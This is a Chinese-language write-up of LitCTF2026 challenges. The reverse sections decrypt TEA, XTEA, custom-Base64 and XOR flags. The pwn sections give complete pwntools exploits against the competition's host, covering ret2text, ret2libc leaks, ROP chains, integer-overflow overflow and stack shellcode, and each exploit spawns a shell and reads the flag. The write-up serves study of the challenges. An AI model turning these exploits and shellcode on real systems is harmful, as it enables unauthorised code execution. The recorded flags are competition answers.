    k0 = 0xA11CEFAC
    k1 = 0xB00B1E00
    k2 = 0xCAFEBABE
    k3 = 0xDEADBEEF

    后面:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
      if ( !memcmp_0(Buf1, &g_cipher, 0x20u) )
    {
    puts_0("Good!");
    return 0;
    }
    else
    {
    LABEL_13:
    puts_0("Wrong!");
    }

    image-20260523163418904

    读取这些字节:

    1
    2
    3
    4
    ed ef 21 fe b7 9b 3c b0
    1e 93 72 e2 02 3e 29 bc
    36 f7 0c 92 2e 5a ae 46
    44 fa 45 25 1a e5 8c 87

    这就是最终拿来比较的目标密文。

    接下来只需要写一个标准 TEA 解密脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    from struct import unpack, pack

    cipher = bytes.fromhex(
    "ed ef 21 fe b7 9b 3c b0"
    " 1e 93 72 e2 02 3e 29 bc"
    " 36 f7 0c 92 2e 5a ae 46"
    " 44 fa 45 25 1a e5 8c 87"
    )

    k = [0xA11CEFAC, 0xB00B1E00, 0xCAFEBABE, 0xDEADBEEF]
    DELTA = 0x9E3779B9
    MASK = 0xFFFFFFFF

    def tea_decrypt_block(block):
    v0, v1 = unpack("<2I", block)
    total = (DELTA * 32) & MASK
    for _ in range(32):
    v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + total) ^ ((v0 >> 5) + k[3]))) & MASK
    v0 = (v0 - (((v1 << 4) + k[0]) ^ (v1 + total) ^ ((v1 >> 5) + k[1]))) & MASK
    total = (total - DELTA) & MASK
    return pack("<2I", v0, v1)

    plain = b"".join(tea_decrypt_block(cipher[i:i + 8]) for i in range(0, len(cipher), 8))
    print(plain)
    print(plain[:-plain[-1]])

    得到flag:

    image-20260523163532949

flag为:

1
LitCTF{rev03_tea_standard!!}

[LitCTF2026] lit_b64_alphabet

题目描述:

1
程序把你输入的 flag 按标准 Base64 的分组方式编码,但 64 个输出字符的字母表 不是 RFC 默认顺序,而是程序里保存的一串置换。比对对象是内存中的 期望密文字符串。

image-20260523163748495

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // ebx
size_t v5; // rax
unsigned __int64 v6; // rsi
char *v7; // r9
char *v8; // rcx
size_t v9; // r11
__int64 v10; // rbp
unsigned __int64 v11; // r8
char v12; // al
int v13; // r10d
int v14; // edx
unsigned int v15; // eax
unsigned int v16; // edx
char Str1[512]; // [rsp+20h] [rbp-438h] BYREF
char Str[568]; // [rsp+220h] [rbp-238h] BYREF

_main();
_mingw_printf("input your flag: ");
v3 = _mingw_scanf("%511s", Str);
if ( v3 == 1 )
{
v5 = strlen(Str);
v6 = v5;
if ( v5 )
{
v7 = Str;
v8 = Str1;
v9 = v5;
v10 = 4;
v11 = 0;
while ( 1 )
{
v13 = 0;
if ( v11 + 1 < v6 )
v13 = (unsigned __int8)v7[1];
v14 = 0;
if ( v11 + 2 < v6 )
v14 = (unsigned __int8)v7[2];
v15 = (v13 << 8) | ((unsigned __int8)*v7 << 16);
v16 = v15 | v14;
*v8 = g_alphabet[v15 >> 18];
v8[1] = g_alphabet[(v15 >> 12) & 0x3F];
if ( v9 == 3 )
{
v8[2] = g_alphabet[(v16 >> 6) & 0x3F];
v12 = g_alphabet[v16 & 0x3F];
}
else
{
v8[2] = v9 == 2 ? g_alphabet[(v16 >> 6) & 0x3F] : 61;
v12 = 61;
}
v8[3] = v12;
v11 += 3LL;
v7 += 3;
v8 += 4;
v9 -= 3LL;
if ( v11 >= v6 )
break;
v10 += 4;
}
}
else
{
v10 = 0;
}
Str1[v10] = 0;
if ( !strcmp(Str1, "zjA5lToj9PUAGn2O+v6TRPosgYWB6noyGjhBgjfwyl==") )
{
puts_0("Good!");
return 0;
}
else
{
puts_0("Wrong!");
}
}
else
{
puts_0("Wrong!");
return 1;
}
return v3;
}

从main函数可以看出:

1
zjA5lToj9PUAGn2O+v6TRPosgYWB6noyGjhBgjfwyl==

是密文。

1
2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI

是 64 字符字母表。

直接扔cyberchef得到flag:

image-20260523164148966

flag为:

1
LitCTF{rev02_custom_b64_table!}

[LitCTF2026] lit_xor_chain

题目描述:

1
程序读入一行字符串,对 每个字节 先做异或常数、再加常数,再与内存里的 期望数组 逐字节比较。逻辑与常见逆向入门讲义中的「循环 + xor + add + 数组比对」一致。

看main函数:

image-20260523164402649

image-20260523164906687

字节:

1
2
23 40 2b 16 0b 19 2e 25 3c 29 67 68 12 2f 42 25
12 2b 3f 3c 41 12 38 3b 3b 12 42 3e 78 34 00 00

目标数组就是:

1
2
3
4
5
expected = [
0x23, 0x40, 0x2b, 0x16, 0x0b, 0x19, 0x2e, 0x25, 0x3c, 0x29,
0x67, 0x68, 0x12, 0x2f, 0x42, 0x25, 0x12, 0x2b, 0x3f, 0x3c,
0x41, 0x12, 0x38, 0x3b, 0x3b, 0x12, 0x42, 0x3e, 0x78, 0x34,
]

程序做的是:

1
((input[i] ^ 0x52) + 0x05) == expected[i]

逆回来是:

1
input[i] = (expected[i] - 0x05) ^ 0x52

脚本:

1
2
3
4
5
6
7
8
expected = [
0x23, 0x40, 0x2b, 0x16, 0x0b, 0x19, 0x2e, 0x25, 0x3c, 0x29,
0x67, 0x68, 0x12, 0x2f, 0x42, 0x25, 0x12, 0x2b, 0x3f, 0x3c,
0x41, 0x12, 0x38, 0x3b, 0x3b, 0x12, 0x42, 0x3e, 0x78, 0x34,
]

flag = bytes((((b - 5) & 0xff) ^ 0x52) for b in expected)
print(flag.decode())

image-20260523165156581

flag为:

1
LitCTF{rev01_xor_then_add_ok!}

[LitCTF2026] lit_xtea_tweak

题目描述:

1
流程与「分组 + 填充 + 分块加密」类似 XTEA,但轮常数 delta 被换成 0xDEADBEEF(标准文献里常见的是 0x9E3779B9)。若直接套用网上搜到的 XTEA 脚本而不改 delta,解密会失败。

主函数:

image-20260523165505396

image-20260523165517524

v6 = len & 7``v7 = len + 8 - v6循环写入 8 - v6。要求填充后的总长度必须是 32 字节。之后每 8 字节作为一组,拆成两个 uint32 进入 32 轮加密循环。最后把结果和 g_ciphermemcmp

image-20260523170237552

1
2
3
4
5
for ( i = 0; i != -709370400; v10 += (g_key[(i >> 11) & 3] + i) ^ (v9 + ((v9 >> 5) ^ (16 * v9))) )
{
v9 += (g_key[i & 3] + i) ^ (v10 + ((v10 >> 5) ^ (16 * v10)));
i -= 559038737;
}

559038737的十六进制为0x21524111。注意它在汇编里对应的是:

1
140001536  sub eax, 21524111h

在 32 位无符号整数里:0 - 0x21524111 == 0xDEADBEEF

也就是说,这里每轮实际加上的常数不是标准 XTEA 的 0x9E3779B9,而是delta = 0xDEADBEEF这就是tweak的意思。

image-20260523170502006

g_key和g_cipher都有了

1
2
3
4
5
6
7
8
9
10
11
g_cipher =
e3 ee 1e e7 d3 a7 96 6f
c6 a7 b9 e1 b9 4e 67 86
5f 03 04 a6 db bb b9 40
56 3a f7 9e ee 64 d4 06

g_key =
11 11 11 11
22 22 22 22
33 33 33 33
44 44 44 44

按小端 uint32 解释,密钥就是:

1
0x11111111, 0x22222222, 0x33333333, 0x44444444

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from struct import unpack, pack

cipher = bytes.fromhex(
"e3ee1ee7d3a7966f"
"c6a7b9e1b94e6786"
"5f0304a6dbbbb940"
"563af79eee64d406"
)

key = [0x11111111, 0x22222222, 0x33333333, 0x44444444]
delta = 0xDEADBEEF

def dec_block(block):
v0, v1 = unpack("<2I", block)
total = (delta * 32) & 0xffffffff
for _ in range(32):
v1 = (
v1
- ((((v0 << 4) & 0xffffffff) ^ (v0 >> 5)) + v0
^ ((total + key[(total >> 11) & 3]) & 0xffffffff))
) & 0xffffffff
total = (total - delta) & 0xffffffff
v0 = (
v0
- ((((v1 << 4) & 0xffffffff) ^ (v1 >> 5)) + v1
^ ((total + key[total & 3]) & 0xffffffff))
) & 0xffffffff
return pack("<2I", v0, v1)

plain = b"".join(dec_block(cipher[i:i + 8]) for i in range(0, len(cipher), 8))
pad = plain[-1]
flag = plain[:-pad]
print(flag.decode())

得到flag:

1
LitCTF{rev04_xtea_delta_twk!}

image-20260523170650774

Pwn

[LitCTF2026] lit_ret2text32

题目描述:

1
2
欢迎来到 Pwn 的世界!这是一道最基础的32位栈溢出题目。
程序里藏着一扇后门,只要你能让程序"走错一步",它就会为你打开 shell 之门。

main.c:

另一个文件拖入IDA。看main函数:

image-20260523175654544

vuln应该是漏洞点。

image-20260523175746048

看backdoor函数。

只要地址调到这个函数,执行这个语句。

看vuln():

image-20260523175909095

这是栈溢出,栈上缓冲区 buf 很小,read(0, buf, 0x200) 却允许读入 0x200 字节

image-20260523180058114

buf,buf = byte ptr -38h

缓冲区起点不是 ebp-0x30,而是 ebp-0x38

所以从 buf 起始位置到返回地址的真实距离应当按下面算:

1
2
3
0x38  到 saved ebp
+0x04 到 return address
=0x3c = 60

因此正确偏移是 60,不是 52

最短利用链就是:

1
"A" * 60 + p32(0x08049213)

也就是用 60 字节填满到返回地址前的位置,把返回地址覆盖成 backdoor,程序从 vuln() 返回时直接跳进 system("/bin/sh")

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *


HOST = "challenge.cyclens.tech"
PORT = 30156
BACKDOOR = 0x08049213
OFFSET = 60


def start():
if args.LOCAL:
return process("./ret2text32")
return remote(HOST, PORT)


def main():
io = start()
io.recvuntil(b"Input: ")
payload = b"A" * OFFSET + p32(BACKDOOR)
io.sendline(payload)
io.sendline(b"cat /flag")
io.interactive()


if __name__ == "__main__":
main()

image-20260523185458761

flag为:

1
flag{tzylhcwd-yln7-4ch-8lvg-zurh20y5haosw}

[LitCTF2026] lit_ret2libc

题目描述:

1
2
3
这个程序里没有后门,但它调用了一些标准库函数。
当你无法直接找到 system() 或 /bin/sh 时,libc 就是你最好的朋友。
你能从程序的"记忆"中读取 libc 的秘密,并借用它的力量打开 shell 吗?

main.c

image-20260523181832156

image-20260523181843326

buf 只有 64 字节,但 read() 读了 0x200,这是标准栈溢出。程序专门内嵌了 pop rdi; ret gadget,ROP 门槛非常低。leak_value(void **addr) 会把传入地址解引用后打印出来,这相当于给了一个“任意地址读 8 字节”的泄露原语。

image-20260523182053990

buf[rbp-0x40],返回地址在 [rbp+8],所以覆盖返回地址的偏移是:

1
0x40 + 0x8 = 0x48 = 72

构造链:

1
'A' * 72 + pop_rdi + puts_got + leak_value + vuln

但这在远端会崩。

原因是 AMD64 System V ABI 要求函数调用前栈 16 字节对齐,而 leak_value() 内部会再调用 printf()。如果栈没对齐,printf() 这类 libc 函数很容易直接炸掉。

所以第一阶段正确链应该是:

1
2
3
4
5
6
7
'A' * 72
+ ret
+ pop rdi
+ puts@got
+ leak_value
+ ret
+ vuln

第一个 ret 用来给 leak_value() 做栈对齐,第二个 ret 用来保证重新进入 vuln() 时也保持正常的调用栈形态。

我们先泄露几个 GOT 表项,确认远端 libc 版本。下面脚本会在同一个进程里依次泄露 putsprintfreadsetvbuf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context.binary = elf = ELF("./ret2libc")
rop = ROP(elf)

HOST, PORT = "challenge.cyclens.tech", 30907
OFFSET = 72
RET = rop.find_gadget(["ret"]).address
POP_RDI = elf.symbols["gadget_pop_rdi"]
LEAK_VALUE = elf.symbols["leak_value"]
VULN = elf.symbols["vuln"]

io = remote(HOST, PORT)
io.recvuntil(b"Tell me your name: ")

for name in ["puts", "printf", "read", "setvbuf"]:
payload = flat(
b"A" * OFFSET,
RET,
POP_RDI,
elf.got[name],
LEAK_VALUE,
RET,
VULN,
)
io.sendline(payload)
line = io.recvline().decode().strip()
print(name, line)
io.recvuntil(b"Tell me your name: ")

io.close()

image-20260523182501672

拿到这些泄露后,直接丢给 libc.rip 即可。

1
2
3
4
5
6
7
8
{
"symbols": {
"puts": "0x723389479e50",
"printf": "0x7233894596f0",
"read": "0x72338950d850",
"setvbuf": "0x72338947a5f0"
}
}

得到版本:libc6_2.35-0ubuntu3.13_amd64

确定 libc 版本后,真正打 shell 只需要在“同一个连接、同一个进程”里再泄露一次 puts,算出这次实例的 libc 基址,然后发第二阶段 ROP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

context.binary = elf = ELF("./ret2libc")
rop = ROP(elf)

HOST, PORT = "challenge.cyclens.tech", 30907
OFFSET = 72

RET = rop.find_gadget(["ret"]).address
POP_RDI = elf.symbols["gadget_pop_rdi"]
LEAK_VALUE = elf.symbols["leak_value"]
VULN = elf.symbols["vuln"]

PUTS_OFF = 0x80E50
SYSTEM_OFF = 0x50D70
BINSH_OFF = 0x1D8678

io = remote(HOST, PORT)
io.recvuntil(b"Tell me your name: ")


payload1 = flat(
b"A" * OFFSET,
RET,
POP_RDI,
elf.got["puts"],
LEAK_VALUE,
RET,
VULN,
)
io.sendline(payload1)

line = io.recvline().strip()
puts_addr = int(line.split(b"0x")[1], 16)
libc_base = puts_addr - PUTS_OFF
system_addr = libc_base + SYSTEM_OFF
binsh_addr = libc_base + BINSH_OFF

print(f"puts@libc = {puts_addr:#x}")
print(f"libc_base = {libc_base:#x}")
print(f"system = {system_addr:#x}")
print(f"/bin/sh = {binsh_addr:#x}")

io.recvuntil(b"Tell me your name: ")


payload2 = flat(
b"A" * OFFSET,
RET,
POP_RDI,
binsh_addr,
system_addr,
)
io.sendline(payload2)

io.sendline(b"cat /flag*")
io.interactive()

image-20260523182717023

flag为:

1
flag{9gwslki3-1kh2-4hc-8gie-b19tdtdnqtsyr}

[LitCTF2026] lit_ret2syscall32

题目描述:

1
2
3
这是一台32位的古老机器,没有 system(),没有 /bin/sh,连 libc 都沉默不语。
但每一个程序都能向内核祈祷——通过中断门 int 0x80。
你能唤醒这台机器最深层的系统调用之力吗?

image-20260523183209636

image-20260523183243288

image-20260523183411982

buf只有 64 字节,但 read() 读了 0x200,存在标准栈溢出。.data/.bss 里还有一个可写的 data_buf

image-20260523191849291

虽然 C 里写的是 char buf[64],但编译后实际给这个缓冲区留了 0x48 字节栈空间。返回地址位于 [ebp+4],因此覆盖返回地址的偏移是:

1
0x48 + 4 = 0x4c = 76

也就是说,前 76 字节用来填充,后面就是我们的 ROP 链。

image-20260523192009742

这些是构造链的关键。

有了它们,就能把任意 4 字节内容写到指定内存,再触发系统调用。

32 位 Linux 下,execve 的系统调用号是 11,也就是:

1
2
3
4
eax = 11
ebx = filename
ecx = argv
edx = envp

所以这题最终目标就是把寄存器摆成:

1
2
3
4
eax = 11
ebx = data_buf -> "/bin//sh\x00"
ecx = 0
edx = 0

然后执行一次 int 0x80

程序里没有现成的 /bin/sh 字符串,所以要自己写。因为 mov [edx], eax 每次能写 4 字节,最方便的办法就是拆成三段:

1
2
3
data_buf     <- "/bin"
data_buf+4 <- "//sh"
data_buf+8 <- "\x00\x00\x00\x00"

对应的ROP 思路如下:

1
2
3
4
5
6
7
8
9
10
11
pop edx ; ret      -> edx = data_buf
pop eax ; ret -> eax = "/bin"
mov [edx], eax -> 写入前 4 字节

pop edx ; ret -> edx = data_buf + 4
pop eax ; ret -> eax = "//sh"
mov [edx], eax -> 写入后 4 字节

pop edx ; ret -> edx = data_buf + 8
pop eax ; ret -> eax = 0
mov [edx], eax -> 写入字符串结尾 0

之所以常写成 "/bin//sh" 而不是 "/bin/sh",只是为了凑整 8 个字节,便于按 4 字节一组写入;Linux 会把它当成同一个路径处理。

写完字符串以后,继续设置寄存器:

1
2
3
4
pop ecx ; pop ebx ; ret   -> ecx = 0, ebx = data_buf
pop edx ; ret -> edx = 0
pop eax ; ret -> eax = 11
int 0x80

注意这里虽然题目给了单独的 pop ebx ; ret,但用 pop ecx ; pop ebx ; ret 更省链长,因为 execve 本来就需要 ecx = 0

把前面的步骤合起来,最终 ROP 链结构就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
"A" * 76
+ pop_edx
+ data_buf
+ pop_eax
+ "/bin"
+ mov_[edx]_eax
+ pop_edx
+ data_buf+4
+ pop_eax
+ "//sh"
+ mov_[edx]_eax
+ pop_edx
+ data_buf+8
+ pop_eax
+ 0
+ mov_[edx]_eax
+ pop_ecx_ebx
+ 0
+ data_buf
+ pop_edx
+ 0
+ pop_eax
+ 11
+ int_0x80

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context.binary = elf = ELF("./ret2syscall32")
context.arch = "i386"

HOST = "challenge.cyclens.tech"
PORT = 31342

OFFSET = 76
DATA_BUF = elf.symbols["data_buf"]

POP_EAX = elf.symbols["gadget_pop_eax"]
POP_ECX_EBX = elf.symbols["gadget_pop_ecx_ebx"]
POP_EDX = elf.symbols["gadget_pop_edx"]
MOV_EDX_EAX = elf.symbols["gadget_mov_edx_eax"]
INT_80 = elf.symbols["gadget_int_0x80"]

payload = flat(
b"A" * OFFSET,
POP_EDX, DATA_BUF,
POP_EAX, b"/bin",
MOV_EDX_EAX,
POP_EDX, DATA_BUF + 4,
POP_EAX, b"//sh",
MOV_EDX_EAX,
POP_EDX, DATA_BUF + 8,
POP_EAX, 0,
MOV_EDX_EAX,
POP_ECX_EBX, 0, DATA_BUF,
POP_EDX, 0,
POP_EAX, 11,
INT_80,
)

io = remote(HOST, PORT)
io.recvuntil(b"Input: ")
io.send(payload)
io.sendline(b"cat /flag")
io.interactive()

image-20260523192632775

flag为:

1
flag{mvtqqyq0-hzhq-40w-8zsj-cuac2bvaunmyy}

[LitCTF2026] lit_ropchain

题目描述:

1
2
3
程序里的碎片散落一地,没有现成的钥匙能打开 shell 之门。
你需要像拼图大师一样,把一个个小小的代码碎片(gadgets)拼接起来,
先读取 "bin/sh" 到内存,再召唤 system 之力。

image-20260523192845833

image-20260523192854829

image-20260523192900352

  1. buf 只有 64 字节,但 read() 读入了 0x200,是标准栈溢出。

  2. 程序故意内嵌了 pop rdipop rsipop rdx,等于把 ROP 需要的核心拼图直接送到了面前。

  3. 程序会引用 system("echo hello"),所以 ELF 里天然存在 system@plt,不需要泄露 libc 再 ret2libc。

    vuln() 中缓冲区大小是 64 字节,保存的 rbp 是 8 字节,因此返回地址偏移就是:72

    也就是 payload 前面先填 b"A" * 72 即可覆盖 RIP。

整体思路非常直接:

  1. 用 72 字节填充覆盖返回地址。
  2. ROP 调一次 read(0, bss, 8),把 "/bin/sh\x00" 写到 .bss
  3. 再把 rdi 设成 .bss 地址,调用 system@plt

对应链子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
'A' * 72
+ ret
+ pop rdi ; ret
+ 0
+ pop rsi ; ret
+ bss_addr
+ pop rdx ; ret
+ 8
+ read@plt
+ ret
+ pop rdi ; ret
+ bss_addr
+ system@plt

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context.binary = elf = ELF("./ropchain")
context.arch = "amd64"

HOST = "challenge.cyclens.tech"
PORT = 30137

POP_RDI = 0x401166
POP_RSI = 0x40116B
POP_RDX = 0x401170
RET = 0x40101A


def build_payload():
bss = elf.symbols["bss_buf"] + 0x80
return flat(
b"A" * 72,
RET,
POP_RDI,
0,
POP_RSI,
bss,
POP_RDX,
8,
elf.plt["read"],
RET,
POP_RDI,
bss,
elf.plt["system"],
)


io = remote(HOST, PORT)
io.recvuntil(b"Input: ")
io.send(build_payload())
io.send(b"/bin/sh\x00")
io.sendline(b"cat /flag")
print(io.recvrepeat(2).decode())
io.close()

image-20260523193409889

flag为:

1
flag{ipoe9nnc-vgci-4gw-8g0h-a8sth6hobegiy}

[LitCTF2026] lit_integer_overflow

题目描述:

1
2
3
程序说它会读取你指定长度的数据,但这个长度检查真的安全吗?
当数学的边界被打破,栈上的秘密就将暴露无遗。
听说程序里藏着一个神秘的后门,你能找到它吗?

image-20260523193038810

image-20260523193052644

  1. size 是有符号 int
  2. 程序虽然检查了 size >= 0 && size <= 63,但即使不满足也照样继续执行 read()
  3. read() 的第三个参数被强转为 unsigned int,所以输入 -1 会变成 0xffffffff

这意味着只要输入负数,就能让 read()buf[64] 里写入远超边界的数据,形成栈溢出。

从符号表可以直接拿到后门地址:0x4011d7

image-20260523193846122

read() 实际写入的位置是 [rbp-0x40],也就是一个 64 字节缓冲区。返回地址在 [rbp+8],因此覆盖返回地址所需偏移是:

1
0x40 + 0x8 = 0x48 = 72

先单独发送负数,触发超大读取,发送-1.

程序会进入错误分支并打印:Invalid size! But I’ll still read it anyway…

再单独发送payload:

1
payload = b"A" * 72 + p64(0x40101A) + p64(0x4011D7)

72 是覆盖到返回地址的偏移。

0x40101A 是一个单独的 ret gadget,用来做栈对齐。

0x4011D7backdoor() 地址。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context.binary = elf = ELF("./integer_overflow")

HOST = "challenge.cyclens.tech"
PORT = 31757

OFFSET = 72
RET = 0x40101A
BACKDOOR = elf.symbols["backdoor"]

io = remote(HOST, PORT)
io.recvuntil(b"(0-63): ")
io.sendline(b"-1")
io.recvuntil(b"Invalid size! But I'll still read it anyway...\n")

payload = flat(
b"A" * OFFSET,
RET,
BACKDOOR,
)

io.send(payload)
io.interactive()

image-20260523194257299

flag为:

1
flag{egw6xmta-mae1-4ko-8jop-6bt7ffxx6c6ap}

[LitCTF2026] lit_ret2shellcode

题目描述:

1
2
3
这是一个古老的工坊,工匠们在这里直接在栈上刻写代码。
传说栈上的墨迹还未干涸,代码就能直接运行。
你能在这块可执行的栈上写下属于你的咒语,并让它执行吗?

image-20260523191046241

image-20260523191243569

程序在 vuln() 中定义了一个栈缓冲区。

随后直接:read(0, buf, 0x200);

这会把最多 0x200 字节写进只有 100 字节的缓冲区,造成经典栈溢出。

同时程序还主动泄露了栈上 buf 的地址。printf(“Here is a hint for you: buf is at %p\n”, buf);

因此利用链非常直接:

  1. 读取程序输出,拿到 buf 地址。

  2. 将 amd64 shellcode 写入 buf

  3. 用填充覆盖到返回地址。

  4. 将返回地址改成泄露出的 buf 地址。

  5. 函数返回后跳到栈上执行 shellcode,拿到 shell。

    payload:payload = shellcode.ljust(120, b”A”) + p64(buf_addr)

    脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    from pwn import *
    import sys


    HOST = "challenge.cyclens.tech"
    PORT = 32232
    BIN_PATH = "./ret2shellcode"
    OFFSET = 120


    SHELLCODE = bytes.fromhex(
    "4831f65648bf2f62696e2f2f736857545f6a3b58990f05"
    )


    def start():
    if len(sys.argv) > 1 and sys.argv[1] == "local":
    return process(BIN_PATH)
    return remote(HOST, PORT)


    def build_payload(buf_addr: int) -> bytes:
    return SHELLCODE.ljust(OFFSET, b"A") + p64(buf_addr)


    def main():
    context.clear(arch="amd64", os="linux")
    io = start()

    io.recvuntil(b"buf is at ")
    buf_addr = int(io.recvline().strip(), 16)
    io.recvuntil(b"Leave your mark on the stack: ")

    payload = build_payload(buf_addr)
    io.send(payload)
    sleep(0.2)
    io.sendline(b"cat /flag || cat /flag.txt || cat /app/flag*")
    io.interactive()


    if __name__ == "__main__":
    main()

    image-20260523190106384

flag为:

1
flag{i6mbkmak-lg2l-4zy-8jdy-srdzelt2wshre}